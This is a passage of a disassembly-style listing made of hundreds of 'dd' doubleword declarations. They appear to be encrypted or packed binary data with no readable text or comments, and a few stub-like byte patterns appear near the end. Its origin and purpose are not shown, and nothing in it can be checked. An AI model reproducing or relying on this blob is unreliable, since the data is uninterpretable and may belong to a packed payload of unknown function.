		dd 2232156Bh, 792DAB06h, 7BB31D52h, 5D5B8E16h, 0CF8B4407h
		dd 900EF17Ah, 1723F68Fh, 85B3542Ch, 14A204DDh, 0F8F3CC91h
		dd 44C39462h, 6D6E26D4h, 0E91B4CADh, 0DCDD6E7h,	87524427h
		dd 0AD53CBD1h, 2232156Eh, 9AE49025h, 9A67EC93h,	40C790EDh
		dd 32DB1372h, 6F321566h, 0D55D4115h, 6EFB306Dh,	49FBD1F7h
		dd 9A36848Ch, 9C21B4F3h, 0A4B37560h, 24CF4E99h,	0ACB1749Eh
		dd 8E260F7Bh, 0C3B61A67h, 42321564h, 0AE684706h, 87BC928Dh
		dd 4422FD07h, 7F31566h,	3A114121h, 0E942F7C9h, 8EAE4941h
		dd 4081284Eh, 0C909743Fh, 882A9769h, 7DC71566h,	13B41AB5h
		dd 71CDEA9Fh, 88309569h, 25521566h, 0EC6203DDh,	0AA617459h
		dd 77CDEA99h, 0B169CB67h, 0A2DAA037h, 0F4B2C08Bh, 84C79505h
		dd 0CCDC9D34h, 0CB6B4F96h, 11321574h, 9DA1273Ah, 77F2C86Dh
		dd 8E61BFFh, 962BD918h,	8798E0C7h, 443219EBh, 2235FC66h
		dd 60421566h, 0DEBC383Bh, 448A45D9h, 23321566h,	11884796h
		dd 89321566h, 1E389FA4h, 953D753Eh, 0A261749Dh,	0A00CA5D8h
		dd 602E9EBEh, 2236D1E7h, 0F8CE1566h, 88321577h,	2010FCF8h
		dd 8F517A1Ch, 5C365D10h, 0EE6B373Ah, 0F56346BCh, 8ED395BBh
		dd 9137FCA6h, 49B21A8Fh, 1DF99D7Ch, 4269CC46h, 1122FC06h
		dd 299E1566h, 4705B14Ah, 0F38E5076h, 0F14A4509h, 83D2156h
		dd 44321566h, 0CBB37307h, 1953D955h, 57B275AEh,	25E89E7Bh
		dd 985475CCh, 70CE44E5h, 0E6F4D6E7h, 87B36290h,	54202DB9h
		dd 0FAB3EE4Fh, 0FE202DB9h, 2AF4FEE7h, 72C76290h, 1132110Eh
		dd 4B1B4D66h, 1762E03Eh, 62E9E3Eh, 1136D1E7h, 61521566h
		dd 4432156Fh, 975CBA81h, 0D4779E60h, 8CB61AE7h,	22321566h
		dd 432F65D8h, 0EB61ACDh, 87321566h, 44320CE9h, 2226FC66h
		dd 0FD3A1566h, 6CBD8491h, 2CF8C9E5h, 7D8EBE72h,	0BE8D088Ch
		dd 356754D0h, 44321564h, 56DDD3E7h, 0FF3346ECh,	0FCDDFBE7h
		dd 0BD6F46ECh, 97879C9Fh, 0F8340147h, 88321574h, 0C63D2384h
		dd 0FF5A8C13h, 0D8E2A889h, 0D7663649h, 0C1F5D154h, 24260F7Bh
		dd 11321567h, 8CDE949Fh, 0CD321566h, 0C4BB3152h, 1136D3E7h
		dd 4EB11566h, 60069262h, 23B11A3Ah, 0E4321566h,	0D3162199h
		dd 4436D1E7h, 0A83D1566h, 11321568h, 8FE39406h,	4B4F7362h
		dd 223215E6h, 25CD7466h, 4CB34C42h, 44321562h, 0C3BB4493h
		dd 1136D4E7h, 49B11566h, 30CD4462h, 0AD6B1142h,	716E3162h
		dd 34F8C4E7h, 4ADB49D4h, 0E0321566h, 1075DDE0h,	3E7032D1h
		dd 8A96398h, 0AB60741Ch, 6A894684h, 9139613h, 0D6069B95h
		dd 30F99423h, 903D0354h, 9718868Dh, 0B7B35E23h,	0BCA5C01h
		dd 9269CF67h, 9CB511A4h, 0C13D4942h, 22321565h,	0F853E006h
		dd 77CDCF40h, 44321C8Fh, 0E13EBE66h, 0FF075DBBh, 3260C377h
		dd 3F7A0CCCh, 39D8942Ch, 9026E509h, 40BF1A4h, 0CBF09447h
		dd 0B4A097Dh, 9A3D4FB0h, 8832156Eh, 44309869h, 43521566h
		dd 0DF8D1A06h, 0E053ECECh, 443274AEh, 951609EFh, 14D5D58Dh
		dd 48D0D2E6h, 0A3F21681h, 0CBF59561h, 0F869EDEEh, 88321561h
		dd 0FC80EB4h, 88A8EEF7h, 9865ED9Fh, 3CA9C91h, 80B1315Ah
		dd 223DFC62h, 32521566h, 0FA226FB1h, 0D2BA15A0h, 85D5ECEh
		dd 428D42A1h, 0A15F0075h
		dd 0BC1B4A9Eh, 37214663h, 1CDBED0Bh, 42321566h,	27336E2Ah
		dd 499BB5F9h, 1207F26Ch, 8836F9E7h, 68BB1566h, 2236A842h
		dd 0F91B1566h, 80BD1A3Bh, 24321566h, 995420D5h,	1E533225h
		dd 883219E4h, 42B41A66h, 2D321566h, 113215EBh, 74CBBE66h
		dd 0C5D79C33h, 223211A3h, 15F79666h, 0B9163955h, 6801314Ah
		dd 30DB4942h, 91321566h, 209A587Eh, 8BA7899Bh, 9C7D0F57h
		dd 0EDD54E10h, 8823FCA4h, 48CD1566h, 0B9B1A491h, 4EB8BF3Dh
		dd 3A0460Eh, 0CFE38737h, 0AB60317Ah, 15F09484h,	9321566h
		dd 443211A4h, 6269266h,	2681753Ah, 0AC06EA07h, 40F6943Fh
		dd 0DA321566h, 1123FD06h, 47A11566h, 0FC800829h, 7C44EE4Bh
		dd 82A63B92h, 0D0323D51h, 443E9D69h, 24DA1566h,	37321566h
		dd 7F6D2A8Dh, 0BB534BECh, 0A16C3152h, 993D11A2h, 88321575h
		dd 44321B8Fh, 266D8366h, 8E3F3D5Ch, 2629F3CCh, 4BEB26E6h
		dd 22321DE4h, 13B61A66h, 0E8321566h, 0A5BB4407h, 2236D4E7h
		dd 0D0B11566h, 0FCCD4462h, 0CB6B1142h, 0CB6E3162h, 11321563h
		dd 77543A0h, 9F12FC5Ch,	0A83DEA99h, 1132156Eh, 88309369h
		dd 25521566h, 5B4690A1h, 1137137Dh, 0EE521566h,	0C52CC9DCh
		dd 0BDFD96ACh, 0F8527448h, 88321563h, 1EADA80Ah, 0EDB37362h
		dd 4753AE3Fh, 691621E7h, 0CF3F027Ah, 0E6B1317Ah, 0F0C19462h
		dd 613F027Ah, 4432156Ch, 0E2E26B00h, 78377A8Ah,	0E064C1CBh
		dd 44321562h, 7CC11438h, 113F9369h, 87521566h, 443215E2h
		dd 0F4B37366h, 4053CD05h, 0A11DA3DFh, 44DB9478h, 6B06D834h
		dd 3379D4E7h, 793303C2h, 0B86B0C65h, 26C790EDh,	933D1372h
		dd 8832156Fh, 0C7F19406h, 0DE4A733Ah, 0B0A79E07h, 61340175h
		dd 44321561h, 502EB074h, 433C781Ch, 883214DCh, 1EE43C66h
		dd 2232068Fh, 2EABF766h, 0A6B13B5Bh, 0CB6EFD4Fh, 50BD1A9Fh
		dd 0BB5E025Dh, 9AD3A8E5h, 4B331372h, 223480E2h,	0C909EC66h
		dd 880D9769h, 0CF3D1566h, 2232157Fh, 11219C69h,	86DB1566h
		dd 29321566h, 0B3C0A13Dh, 168468DAh, 0DC8DC920h, 9E09ECBDh
		dd 23309369h, 903D1566h, 88321577h, 4432198Fh, 0B0FD3566h
		dd 5F29D329h, 0EBAA813Bh, 0F1879C82h, 0CB340147h, 11321560h
		dd 0E26D290Ah, 0D9B978A8h, 24296C12h, 355E949Eh, 0C847436Ah
		dd 606E140Bh, 7488476Ah, 105F5513h, 0D2223132h,	0FC8C7306h
		dd 1AF69509h, 1EDBE907h, 61321560h, 44321576h, 0E00639B7h
		dd 4D0EEEA5h, 0FD6481E5h, 3BB38873h, 7D162199h,	1136D1E7h
		dd 4FCE1566h, 5020F4E3h, 22321460h, 0DF8D7566h,	71746F28h
		dd 6006EA07h, 26F6943Dh, 1E321566h, 883214ECh, 48B9E966h
		dd 0C3BB4442h, 1136D4E7h, 49B31566h, 44321562h,	7E1619E1h
		dd 1132068Fh, 0CBE33D66h, 7C9D3405h, 51A386A8h,	0B0A1CB17h
		dd 8A515BAFh, 1A162199h, 2236D1E7h, 92CE1566h, 84BB118Ah
		dd 0C5D39C42h, 223211A7h, 15F39666h, 0D41619E1h, 45BD1A9Eh
		dd 0DA321566h, 0EEE44C8Fh, 0D38D7599h, 155028B5h, 2624F4E7h
		dd 706A45ACh, 922FA8E5h, 4B331372h, 223740E2h, 1126FC66h
		dd 34F01566h, 37C866E2h, 8B6C076h, 2F20C0E8h, 9162A3EAh
		dd 43DBD6E5h, 0CC321566h, 75888756h, 1519EA34h,	42261193h
		dd 2232068Fh, 0F4C78A66h, 1A46262Bh, 74891BD0h,	0AEFEB67Fh
		dd 8848D31Ah, 908798EDh, 22521372h, 0D275CBE7h,	1132048Fh
		dd 0ABAFBA66h, 847B4F24h, 3909D389h, 0DA91EBCBh, 7453E08Fh
		dd 316DD4E7h, 0FB3310DCh, 646DAA31h, 711B10DCh,	4420FC39h
		dd 73191566h, 0FE756354h, 51815F41h, 0B7D9CF81h, 1985E0E7h
		dd 77AFD4E7h, 61B32F93h, 548504Ch, 0E3B3EC4Fh, 5048504Ch
		dd 0EEAFFCE7h, 0CC3D2F93h, 2232156Eh, 11309E69h, 0E9521566h
		dd 44321B8Fh, 0CC835D66h, 89BAE7B3h, 0FE8F5891h, 1161A8BEh
		dd 6C03AC37h, 278F667Ch, 0A1410F28h, 0AD1B4CABh, 27B81A3Bh
		dd 71321566h, 0E95FD9E6h, 24CA9E06h, 2DF49E00h,	113215EBh
		dd 0DB537466h, 0A88210D1h, 3EB9ED56h, 15F69642h, 4BB97306h
		dd 0B1657507h, 2226FD3Fh, 0EF61566h, 463DA7ECh,	27C06B1Eh
		dd 402ADAE0h, 0A36F6182h, 0A28A919Eh, 1C5B580Fh, 0A93DBF07h
		dd 11321567h, 0D852759Eh, 680DAB3Eh, 44531F22h,	519E4E7h
		dd 3634507h, 80B33162h,	22321562h, 7752E03Fh, 614702D9h
		dd 4432156Ah, 0D5C83A4Ch, 0DC720CD9h, 3D8270F7h, 0BC52BE07h
		dd 22349769h, 923D1566h, 88321566h, 0A7BB4607h,	2236D6E7h
		dd 0D2B11566h, 0FCCD4662h, 0CB691142h, 0DB6E3162h, 4A162199h
		dd 8836D1E7h, 0BBC71566h, 0A16B3152h, 5DB11A2h,	0A4321566h
		dd 92B1439Ch, 59C9F54Fh, 0FFEF7460h, 0C056BD4Fh, 0BBC29254h
		dd 0A36C3152h, 113211A2h, 8834FC66h, 0BCFA1566h, 2A317AFCh
		dd 1136F9E7h, 0A4BB1566h, 0C5D79C42h, 223211A3h, 15F79666h
		dd 0D41639E1h, 4432128Fh, 6E1A6666h, 133C8AB7h,	5F36FC93h
		dd 41DBEA99h, 95321566h, 0B2D018Ah, 0F14690A1h,	4430137Dh
		dd 0A73D1566h, 11321575h, 61F19E06h, 4432156Ch,	72BD486Dh
		dd 0A6A7813Eh, 875372BDh, 443200E1h, 2222FC66h,	0DB521566h
		dd 0B7F7D6D2h, 2F6801EFh, 0D548094Bh, 9A64DE59h, 4CB3317Ah
		dd 44321562h, 223AFC06h, 18C11566h, 82DC9910h, 4B533A0Ah
		dd 0CB521BD0h, 1132156Eh, 0F35D97DFh, 440FC47Ch, 7B5DA9DFh
		dd 1EDB746Fh, 0C0321566h, 480EDE4Eh, 4BB2D1E4h,	6F517F74h
		dd 71B2AFADh, 1EB11AE6h, 0DB321566h, 552FD6E7h,	4BB308FBh
		dd 659477CEh, 0C9B3DE67h, 309477CEh, 0CC2FFEE7h, 43DB08FBh
		dd 0FD321566h, 72E55768h, 356779F3h, 0BBCDEA99h, 0CB6FFE4Fh
		dd 1132156Eh, 0EBCFECEBh, 728DFB1Dh, 2232A18Fh,	14DA7566h
		dd 0CA321566h, 995DC14Fh, 22329969h, 0AE6B1566h, 0D731BF70h
		dd 0BB824507h, 26B9D44Eh, 15F69442h, 87321566h,	44321DE4h
		dd 20B91A66h, 71321566h, 84CD4407h, 95C54C42h, 26DE949Ah
		dd 98321566h, 778F314Ah, 65321566h, 29DB488Fh, 67321566h
		dd 15807535h, 0A8E5602Eh, 25DB1752h, 13321566h,	4E90CFEAh
		dd 0FD63F9D6h, 58E96672h, 9030FCA7h, 0D035AB8Fh, 0B3E3E266h
		dd 0B3C394BFh, 102F129Ch, 431B4CADh, 6BABFEE7h,	2DDB163Fh
		dd 8F321566h, 0F8AFFFB9h, 77DF7314h, 600893F2h,	933DAC2Dh
		dd 8832156Bh, 44321D8Fh, 0FA777166h, 0E9212844h, 7DB79E59h
		dd 0AD340162h, 22321568h, 0F8220229h, 1F57AB3Ah, 23960951h
		dd 0B7B975A8h, 172606C7h, 72DBFC9Eh, 0C43DEA99h, 22321561h
		dd 11339D69h, 4FCA1566h, 5F4B61E3h, 22321760h, 1121FC66h
		dd 5C781566h, 78DF410h,	0D09182D7h, 0CE91A7F0h,	612D2C3Fh
		dd 0B1BB40F7h, 0EB9FEEFh, 15F69442h, 74321566h,	0F564E006h
		dd 2D534A0Fh, 2DB1BD0h,	0D321566h, 7BFBD575h, 6865D40Bh
		dd 950E16A5h, 0FDB8DD95h, 0BDB22677h, 4BB11AE6h, 1E321566h
		dd 883212E0h, 45BA1A66h, 0DA321566h, 1549FEE7h,	433361A2h
		dd 2A68AC37h, 0D3B3769Fh, 60F7F47h, 0E86BDE67h,	4432138Fh
		dd 0FDA69F66h, 70384626h, 93D2AF34h, 0A6F3620Bh, 0B0F09461h
		dd 0E67E4B22h, 49E8E2B4h, 0B6B3178Ch, 0DD76E7BDh, 1E68C64Fh
		dd 883212E5h, 45B81A66h, 0DE321566h, 11327B8Fh,	373D7566h
		dd 25EA9EB5h, 0DD814600h, 399FFCE6h, 25F395BFh,	0C03D4E00h
		dd 2232157Fh, 1132018Fh, 1DA79766h, 9D506228h, 0AC3B4E76h
		dd 663C2F5Ch, 290CD4C4h
		dd 0C3E3E2E8h, 0D3B55397h, 0C3B37306h, 0E053C477h, 443260DDh
		dd 9C1621EFh, 11321599h, 746CE447h, 6AA4FEE7h, 0E1B34F8Ah
		dd 486C4D06h, 63B3DE4Fh, 1D6C4D06h, 0CA4D6E7h, 9ACE4F8Ah
		dd 9C36E0E3h, 45BE1A60h, 0DE321566h, 0B0A79E9Eh, 74340175h
		dd 5E2FA8E5h, 2D331372h, 0EEC534E2h, 8838FC99h,	0D1301566h
		dd 9CFCA873h, 4D3BFC81h, 0A3DCD5Dh, 44321579h, 2DE12C93h
		dd 0EEDFCAE0h, 0D3D7599h, 44321565h, 42ECAA69h,	11329169h
		dd 3541566h, 0C75374B9h, 16BB118Ah, 353EEA42h, 883EFC38h
		dd 527E1566h, 0A8E27D70h, 0D4534B0Bh, 165D643h,	0CFCB9C91h
		dd 0E6B1315Ah, 0A962E062h, 0F9723897h, 0B05FAA43h, 0EA5D3867h
		dd 0D033BEA6h, 9CB3C3Eh, 3B57578Fh, 7261E033h, 0B773DF0Eh
		dd 0C9174D7Eh, 7163FD53h, 32921423h, 386AD6EFh,	74C74EBFh
		dd 0DD834435h, 0DC5DF4E6h, 91E3E3AFh, 79B2DCA7h, 1DFD9D4Fh
		dd 4269EDEEh, 11279469h, 98DB1566h, 3321566h, 7C035EBCh
		dd 0CE2049FBh, 0F2DF2258h, 4B5E8918h, 0D753CDD1h, 0AF5475CCh
		dd 87534CF4h, 44321DE9h, 20BD1A66h, 71321566h, 0B9FA2407h
		dd 0B1FA24A7h, 2226FCCDh, 35471566h, 0A651CF89h, 307038AFh
		dd 0D8011E45h, 0BDC42E55h, 0B3DAA84h, 44321563h, 0F3851A06h
		dd 0C3DAFC07h, 0E8C7EA99h, 8985FAE7h, 99544094h, 40533F5Ah
		dd 883215DFh, 17C31466h, 223215DDh, 9BF91466h, 0E86B4E65h
		dd 65E39400h, 0D4851AEAh, 1EDA2907h, 883246E2h,	4EDB7566h
		dd 10321566h, 4AB374A4h, 0EFD99B8Eh, 0AD53EC79h, 22321561h
		dd 0B229747Ah, 0DB011CB0h, 0B561500Eh, 0E1B34E0Dh, 853CB9DDh
		dd 94B9CDEFh, 40F69642h, 2226FC9Fh, 71D51566h, 9EC693A0h
		dd 0F235F348h, 9A4A2D0Fh, 2777B735h, 1BDB69EEh,	0BC321567h
		dd 0A3D59C31h, 113211A1h, 8CDD9666h, 181629E1h,	421609EFh
		dd 11309769h, 0EA801566h, 4432048Fh, 0C1BCC566h, 25245F96h
		dd 0AAB7525Ah, 49C102CEh, 0A15381AEh, 25BB118Ah, 0AC069442h
		dd 629F4D71h, 35C1943Dh, 0ED14B83Eh, 8833AC37h,	0B5331566h
		dd 2232AF34h, 0DB331566h, 0D1680F65h, 443BFC06h, 64331566h
		dd 0AD50D5C0h, 0E84AC142h, 25FAA269h, 11D97D07h, 1DBB1566h
		dd 8837AC42h, 8F331566h, 33BE1A3Fh, 0F8321566h,	8832156Ah
		dd 0CC3B882Bh, 0D91E8BBFh, 79BAF7B1h, 7D864535h, 0BA2AF9E6h
		dd 7CF695A2h, 9131F1A6h, 6BBA98A2h, 0C4F1EB3Eh,	0C9B2018Dh
		dd 4AEA9D14h, 88359169h, 0C83D1566h, 22321567h,	913DBF9Eh
		dd 88321576h, 44321E8Fh, 0D473A866h, 0D8251B7Ch, 4EE60F72h
		dd 47A0FEE7h, 0D91B4017h, 12A0AF34h, 5B334017h,	355AEC3Ch
		dd 0AB321507h, 158A3162h, 0A1321566h, 22524DA5h, 2D3E52DFh
		dd 2053DFD1h, 0B9F124BEh, 49DB75BEh, 3E321566h,	0E3806A1h
		dd 653F2396h, 0BA1A302Eh, 9D3DE906h, 0BA5374A8h, 88299969h
		dd 22521566h, 33DBD3EDh, 5F321566h, 5F31D92Eh, 99D9593Ch
		dd 68B54906h, 0BB494A75h, 0AC06EA07h, 40F6943Dh, 42321566h
		dd 0FE2EFCE7h, 8521C8Fh, 0CC3DCE94h, 22321566h,	0AB607407h
		dd 88321563h, 50B9C367h, 26F69442h, 0E4321566h,	0A278EBDEh
		dd 43D2D429h, 9860C591h, 7BE89598h, 0E868C557h,	86B9429Ah
		dd 42F1743Fh, 11321C8Eh, 0CE0A6266h, 5B5C6C19h,	0AB8A6C92h
		dd 4E04D888h, 98D19400h, 155A7491h, 0AB321571h,	923D316Ah
		dd 88321561h, 44339669h, 44CB1566h, 9A542399h, 4CB33162h
		dd 44321564h, 22321F8Fh, 70176666h, 0C0D23524h,	78D20338h
		dd 0BB61AA5h, 0F8321567h, 88321574h, 882201C9h,	26531A0Dh
		dd 0B9725B32h, 6C6DA3A3h, 8F0E52F5h, 23389169h,	2DCE1566h
		dd 0C1B61AA4h, 4B321567h, 22321BE6h, 113BFC66h,	272B1566h
		dd 0DE090246h, 1EAAC3A6h, 3CB61AACh, 71321567h,	0BB0F739Eh
		dd 69B61A43h, 71321567h, 70DD57D8h, 4CD89456h, 434FF4E0h
		dd 0EE1C2800h, 885A9069h, 42DB1566h, 0F8321566h, 77606033h
		dd 8CDE96ABh, 0FE1601EFh, 22321564h, 13B8E767h,	8822FC3Ch
		dd 0CFBA1566h, 943A0C11h, 2D2174C2h, 2BBF8D2h, 1654311Ah
		dd 0D212E5D0h, 35269E00h, 8830D1E7h, 78C71566h,	36B61AC6h
		dd 71321567h, 8832058Fh, 12D7E166h, 1D530D82h, 4E2208D3h
		dd 5296A4B8h, 0AFB345ECh, 694DD1C2h, 1DB9743Ch,	6BBB4642h
		dd 4436D6E7h, 0E1B31566h, 11321562h, 0D41609E1h, 4432048Fh
		dd 0EC976166h, 4A331650h, 7B72AA0Eh, 0A9783422h, 225AECA9h
		dd 9A321566h, 4CB13162h, 0FE547562h, 2EDB13ECh,	3D321566h
		dd 0C5C1C234h, 0E9693187h, 430CE058h, 1133598Fh, 89B01A66h
		dd 0B1321566h, 0A252DC57h, 903DC784h, 8832156Dh, 4432108Eh
		dd 87848E66h, 706BE3DEh, 77CDA833h, 0AD1BEA99h,	9B54753Bh
		dd 14DBE121h, 4A321566h, 79553CA1h, 22A6FC07h, 1CDB1566h
		dd 9F321566h, 0B03481D5h, 0A08269F0h, 8F5B6166h, 8832160Eh
		dd 603E9E66h, 2D36D1E5h, 113212EDh, 89B11A66h, 0BC321566h
		dd 2232708Fh, 22897566h, 0EE2A3277h, 1C18FEE7h,	9C64EC07h
		dd 11321560h, 746C4C30h, 44325C8Fh, 36B31A66h, 0F8321566h
		dd 88321569h, 0BA5633A6h, 9025C472h, 0C1A0C35Ch, 0E0381F32h
		dd 44327749h, 991609EFh, 5F333590h, 0EDD1942Dh,	0C5286112h
		dd 0C7641A5h, 19D1D449h, 3135E6E7h, 9DBB3B02h, 0EEB2753Dh
		dd 5F8D7341h, 2CC174D0h, 44321D8Fh, 0A6542E66h,	0C17661EBh
		dd 29BF9E70h, 0B1340175h, 0A73DDCE3h, 11321568h, 88339F69h
		dd 0CDCB1566h, 3621B4D3h, 1DB9EC60h, 6FBB4242h,	4436D2E7h
		dd 0E5B11566h, 350E9262h, 89BF1A3Ah, 0B1321566h, 810B9FDEh
		dd 66884760h, 0C249AA72h, 980DFE7h, 0D0B33E75h,	7C25608Fh
		dd 0AD68C56Fh, 4C6E778Dh, 6231FDA7h, 255D1443h,	8BCD381Dh
		dd 0C83D1566h, 22321567h, 1ADBD693h, 7A321566h,	8A2C1C2Dh
		dd 7BBF46FFh, 0EE54E859h, 0EE647350h, 222923D8h, 2016614Fh
		dd 49544B00h, 93041000h, 44369269h, 42521566h, 0D20E7407h
		dd 89E39169h, 0CA3D1566h, 2232156Ch, 8A887306h,	0F38B7391h
		dd 695A7442h, 0AB321577h, 0D7BA3172h, 7168E6EEh, 0F6604500h
		dd 78E69D96h, 4954F646h, 88269F69h, 4BDB1566h, 0A321566h
		dd 16BDDF1Bh, 0A0AAD6BFh, 8D3DF69Dh, 33DB9F5Ah,	0AA321566h
		dd 0FEC4A0B8h, 4413F05h, 0E79B77C1h, 0F2B72BDBh, 8742EEE6h
		dd 4431FEE2h, 0E1B97566h, 2D53DEEDh, 0E8B61A8Fh, 0AD321567h
		dd 2232156Dh, 7F322979h, 49649D26h, 0B1C41A8Ch,	0A63DFE5Ah
		dd 11321421h, 0E93BA406h, 0C03DD75Ah, 2232145Dh, 112F9E69h
		dd 87521566h, 57DBC6D1h, 3A321566h, 0CBD2D74Dh,	56757AF8h
		dd 0DEA0450Fh, 0A60DFF77h, 2D530DB2h, 98B61AADh, 4B321567h
		dd 223214EBh, 2C54E966h, 0C3D3099h, 44321599h, 22389769h
		dd 71521566h, 88BC1A07h, 25321566h, 0A63DDF5Ah,	11321581h
		dd 87D1299Fh, 44314EE2h, 223DFC66h, 33561566h, 0DB2300B7h
		dd 57D8C823h, 0F712A899h, 2C54E932h, 0D3DEA48h,	44321519h
		dd 2232078Fh, 33513B66h, 0B9E16340h, 0A0F8AB0h,	279BB729h
		dd 42F42485h, 883217DDh, 0CEC11466h, 62E9E65h, 1136D1E7h
		dd 83DB1566h, 28321566h, 0A830FBDh, 8B7D9ACh, 3A6083C8h
		dd 0F3617317h, 44C82579h, 99F8953Dh, 4837F7A6h,	0A6F2178Ch
		dd 0D2F09562h, 7168C546h, 0F9D4AC00h, 1A8D7331h, 1E534DE4h
		dd 45B61AC6h, 87321566h
		dd 44321BEAh, 0AC3D7566h, 11321566h, 88329969h,	11531566h
		dd 223215DBh, 3DB34066h, 3F288442h, 0D5374D11h,	7F45A27Ch
		dd 114AFC9Fh, 0E8CA1566h, 4432108Eh, 905ECA66h,	9A541257h
		dd 87DB4EA9h, 0E9321566h, 1CB93401h, 0A1A9EFADh, 0B58EC48Dh
		dd 0CD53ECFBh, 3621B4D3h, 113CFC60h, 11271566h,	0E6A375AEh
		dd 0D030E56Dh, 0C27C6CF9h, 7EAF989Fh, 0AD340FF0h, 22321568h
		dd 0F55AAFE8h, 3214CB9Ch, 671C8836h, 0F1CDE3E3h, 15027D9Ah
		dd 0A4BB1566h, 4433A842h, 0CABB1566h, 113AFC3Bh, 0E0051566h
		dd 0B372369Dh, 0CBF107E3h, 11321577h, 5877B949h, 0E4240B47h
		dd 76DDABE0h, 1394BDADh, 6FBB42FEh, 4436D2E7h, 0CDB11566h
		dd 350E9262h, 0AC369C3Ah, 4432138Fh, 0E993166h,	0EEDF9C10h
		dd 0BCB30510h, 30168442h, 98604D6Ah, 19EA4879h,	0B0BCFFE7h
		dd 9403E902h, 2234FC3Ch, 40A91566h, 76AA5C64h, 58BF90EFh
		dd 70521372h, 48FBAA69h, 88321D8Fh, 0D8DB266h, 0A9E1A555h
		dd 25CD74B6h, 4CB14D42h, 8CB87562h, 22321A8Fh, 0C8EC6266h
		dd 66FE3082h, 0BFC3912Ch, 902EF05Ch, 0D894607h,	89321566h
		dd 602E9EB8h, 2236D1E7h, 1E521566h, 88321AEBh, 4438FC66h
		dd 0B6861566h, 6FF182B7h, 9F682D4Dh, 0E4CDDE7h,	0AF534F17h
		dd 53DE4DBh, 8834FC60h,	54581566h, 0E7D1AC24h, 113CFCCBh
		dd 5F761566h, 0FCBC4283h, 7443CE7Fh, 93AA586Eh,	0A31BE84Bh
		dd 6076165Dh, 0DF8B4442h, 10093E4Fh, 23CA4CAEh,	0C18F9893h
		dd 42340142h, 0EDB31BDFh, 0B18B731Ah, 0AD9F74D6h, 22321560h
		dd 9DBEE9FFh, 0F1373BDAh, 696E363Dh, 11575161h,	35165165h
		dd 0ED761263h, 1F4B3855h, 4AC74945h, 11324791h,	871611EFh
		dd 443214E4h, 4299ED66h, 0A85465D6h, 553F32Bh, 501E7CDBh
		dd 8FCBED60h, 98FB9406h, 87460743h, 1253D5D1h, 0F465BD8h
		dd 4FC23C54h, 0A0165165h, 69465B63h, 31B51A54h,	0F8321566h
		dd 88321568h, 53512C73h, 539092A2h, 0AED65E99h,	85DB498Ah
		dd 78321566h, 3E68529Dh, 0AC915Fh, 66DAAE40h, 56B31ACDh
		dd 0CB321566h, 1132156Bh, 6929BAFCh, 9CEEEC4Ch,	40A18455h
		dd 5B51AFBh, 87321566h,	44321BE4h, 223BFC66h, 595F1566h
		dd 90404FC3h, 0CF457CC9h, 0AB673152h, 15F79483h, 9321566h
		dd 443211A3h, 61E9266h,	1123FC3Ah, 0D9911566h, 0B3F8A0BCh
		dd 0DF4C2869h, 75012864h, 87AD7753h, 44320CECh,	2226FC66h
		dd 0FDF51566h, 0FC49E462h, 0D6D7AD5Ch, 3D6D827Bh, 467D3C99h
		dd 61F1B35Eh, 4432156Ah, 0AC2ABE26h, 1EE90A3Dh,	8CDD3B37h
		dd 44254F0Eh, 6069C66h,	0AA544706h, 0EE680DB6h,	255777D8h
		dd 0B47088EBh, 993D137Ch, 8832156Ah, 44349969h,	0A13D1566h
		dd 11321566h, 6152C699h, 4432156Ah, 0EE73E64Dh,	2F51BF2Ch
		dd 6CC0ACB5h, 8277C5E7h, 0CB533EF7h, 0EECDE991h, 8837FD06h
		dd 0CB811566h, 447B9B30h, 5E69A5DFh, 4ECEDF61h,	4AA86CD2h
		dd 0A2458AFDh, 0C0D5F251h, 0A45EEDDFh, 2AA8ED96h, 29458A15h
		dd 57DFA024h, 91792619h, 2A1E2C5Eh, 89798A15h, 2A162C5Eh
		dd 0CA798A15h, 2A492C5Eh, 13798A15h, 2A382C5Eh,	0F2798A15h
		dd 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh, 0D6AC8A15h, 0D554A851h
		dd 0D7BA8660h, 0D5CE2559h, 0F1439177h, 498232DCh, 71BA8C0Eh
		dd 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh, 38C88260h, 2C4FCB5Eh
		dd 74DF0746h, 0D552B332h, 5E0003C6h, 2A5492B8h,	0AE307515h
		dd 0A75CDDAEh, 0B926918Fh, 0B0D9FB57h, 0A45EE9C3h, 6FDD7BAEh
		dd 0A25863E9h, 5FABA851h, 0AA307519h, 497332DCh, 2F168C0Eh
		dd 31377ECBh, 2B967513h, 2ABD5414h, 0C3458A15h,	0E3A8EDDAh
		dd 0BA4582D7h, 3044h, 24E9h, 4272AA00h,	15h, 7 dup(0)
		dd 0D20E900h, 0BC680000h, 0E9061B6Ah, 0FFF91553h, 1B6B9C68h
		dd 1549E906h, 5868FFF9h, 0E9061B6Ch, 0FFF9153Fh, 1B6CF568h
		dd 1535E906h, 5868FFF9h, 0E9061B70h, 0FFF9152Bh, 1B733668h
		dd 1521E906h, 1D68FFF9h, 0E9061B74h, 0FFF91517h, 0ACFEC11Bh
		dd 67B904CFh, 2173488Ah, 0D6289144h, 8DDFDEF9h,	8B4C6454h
		dd 0CE03E032h, 1CBC99EBh, 627451A3h, 73FB0759h,	0D51876Dh
		dd 39A09B58h, 4248C512h, 51F1E85Ch, 68B04870h, 507F3A9Bh
		dd 0C0FFD9E6h, 82A5A178h, 0A88A1884h, 1F8D6979h, 61BD80B0h
		dd 0E9830048h, 8BA4F305h, 3D3608CBh, 0DCDC7006h, 3DBADCD0h
		dd 3256A030h, 32503CB1h, 804FEAB1h, 587A8A4Dh, 3256BA59h
		dd 0D8D707B1h, 344C6A9Dh, 3243D0BEh, 0DB36ABB1h, 3256D5BFh
		dd 5E98353h, 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh,	61F9B517h
		dd 3FD525FBh, 0D1ADFDF5h, 22916EB9h, 7ACFB734h,	29B723ACh
		dd 7A1A20ADh, 277975FDh, 3F5D987Ch, 0FFA073E6h,	0E98331CFh
		dd 8BA4F305h, 78BD8DDBh, 8D061B79h, 1C01B28Dh, 6644B806h
		dd 0CF2B3215h, 3102E9C1h, 83C8D007h, 754904C7h,	7E9F8F6h
		dd 0EE000000h, 0E7294760h, 5250E66Ah, 8403A3BAh, 24542973h
		dd 5585A04h, 738403A3h,	0F6DB8060h, 79FBD681h, 8361384Eh
		dd 1430B1BDh, 9750006h,	1AE1BD83h, 74000614h, 8B535019h
		dd 411B8C0h, 85890000h,	61430C1h, 0B7A19D8Dh, 0D3FF0616h
		dd 0BD83585Bh, 6141AE1h, 50177400h, 411B853h, 85890000h
		dd 61430C1h, 0B4429D8Dh, 0D3FF0616h, 0F60585Bh,	198Ah
